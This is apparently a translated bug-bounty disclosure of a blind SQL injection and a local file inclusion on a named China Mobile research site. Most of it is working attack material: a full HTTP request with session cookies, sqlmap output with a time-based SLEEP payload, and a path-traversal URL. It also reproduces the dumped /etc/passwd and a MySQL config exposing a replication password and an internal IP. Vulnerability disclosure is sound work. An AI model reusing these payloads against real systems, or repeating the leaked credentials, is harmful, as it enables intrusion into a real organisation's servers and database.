China Mobile Research Institute SQL blind note + local file inclusion

China Mobile Research Institute SQL blind note + local file inclusion

SQL blind injection + local file inclusion. If you can, please give a high point to show encouragement! Hey!

There are too many injection points. I chose one as a demonstration: The asterisk part is the injection point.
 

GET /events/share/index.php?category=&domain=10313&i=40&order=*&q=share&uid=0 HTTP/1.1X-Requested-With: XMLHttpRequestReferer: http://labs.chinamobile.com:80/Cookie: PHPSESSID=a35a48f4736395e3d17d836ef26690bf; errorsNum=1; returnUrl=%2Fgroups%2F10164; hd_sid=ERqHvU; n2rE_2132_saltkey=vKtey6mz; n2rE_2132_sid=rG46KJHost: labs.chinamobile.comConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36Accept: */*

Blind injection is really slow. Some information is as follows:
 

sqlmap identified the following injection points with a total of 1269 HTTP(s) requests:---Place: URIParameter: #1*    Type: AND/OR time-based blind    Title: MySQL >= 5.0 time-based blind - Parameter replace    Payload: http://labs.chinamobile.com:80/events/share/index.php?category=&domain=10313&i=40&order=(SELECT (CASE WHEN (6027=6027) THEN SLEEP(5) ELSE 6027*(SELECT 6027 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&q=share&uid=0---web application technology: Nginx, PHP 5.2.17back-end DBMS: MySQL 5.0current user:    '6D6F62696C656875625F736C617665403539312'current database:    'mobilehu'sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: URIParameter: #1*    Type: AND/OR time-based blind    Title: MySQL >= 5.0 time-based blind - Parameter replace    Payload: http://labs.chinamobile.com:80/events/share/index.php?category=&domain=10313&i=40&order=(SELECT (CASE WHEN (6027=6027) THEN SLEEP(5) ELSE 6027*(SELECT 6027 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&q=share&uid=0---web application technology: Nginx, PHP 5.2.17back-end DBMS: MySQL >= 5.0.0current user:    '6D6F62696C656875625F736C617665403539312'current database:    'mobilehu'sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: URIParameter: #1*    Type: AND/OR time-based blind    Title: MySQL >= 5.0 time-based blind - Parameter replace    Payload: http://labs.chinamobile.com:80/events/share/index.php?category=&domain=10313&i=40&order=(SELECT (CASE WHEN (6027=6027) THEN SLEEP(5) ELSE 6027*(SELECT 6027 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&q=share&uid=0---web application technology: Nginx, PHP 5.2.17back-end DBMS: MySQL >= 5.0.0available databases [3]:[*] `696E666F726D6174696`[*] `6`[*] B

The speed is not good, and a lot of content is incomplete. Sorry.

Local files include:

Http://labs.chinamobile.com/report/uploaddown.php? Path =/.../etc/passwd
 

root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/spool/mail:/sbin/nologinuucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologinoperator:x:11:0:operator:/root:/sbin/nologingames:x:12:100:games:/usr/games:/sbin/nologingopher:x:13:30:gopher:/var/gopher:/sbin/nologinftp:x:14:50:FTP User:/var/ftp:/sbin/nologinnobody:x:99:99:Nobody:/:/sbin/nologindbus:x:81:81:System message bus:/:/sbin/nologinvcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologinrpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologinabrt:x:173:173::/etc/abrt:/sbin/nologinrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologinnfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologinhaldaemon:x:68:68:HAL daemon:/:/sbin/nologinntp:x:38:38::/etc/ntp:/sbin/nologinsaslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologinpostfix:x:89:89::/var/spool/postfix:/sbin/nologinsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologintcpdump:x:72:72::/:/sbin/nologinoprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologinmailnull:x:47:47::/var/spool/mqueue:/sbin/nologinsmmsp:x:51:51::/var/spool/mqueue:/sbin/nologinmysql:x:27:27::/dev/null:/sbin/nologinwww:x:1000:1000::/dev/null:/sbin/nologinwdcpu:x:999:999::/www/wdlinux/wdcp:/sbin/nologin

Database Configuration File Information
 

# mysql conf /etc/my.cnf# Created by http://www.wdlinux.cn# Last Updated 2010.06.01[client]port= 3306socket= /tmp/mysql.sock[mysqld]slave_skip_errors = 1062#skip-innodbport= 3306socket= /tmp/mysql.sockskip-external-lockingkey_buffer_size = 128Mmax_allowed_packet = 512Mtable_open_cache = 256sort_buffer_size = 1Mread_buffer_size = 1Mread_rnd_buffer_size = 2Mmyisam_sort_buffer_size = 8Mthread_cache_size = 8query_cache_size= 16Mthread_concurrency = 8max_connections = 1000wait_timeout = 30interactive_timeout = 300max_connect_errors = 9long_query_time = 1tmp_table_size = 16M#log-bin=mysql-bin#binlog_format=mixedserver-id= 233master-host=192.168.0.231master-user=repmaster-password=etentec@etentecmaster-port=3306replicate-ignore-db=wdcpdbreplicate-ignore-db=testreplicate-ignore-db=mysql[mysqldump]quickmax_allowed_packet = 128M[mysql]no-auto-rehash[myisamchk]key_buffer_size = 12Msort_buffer_size = 1Mread_buffer = 1Mwrite_buffer = 1M[mysqlhotcopy]interactive-timeout

 

Solution:

Enhanced Filtering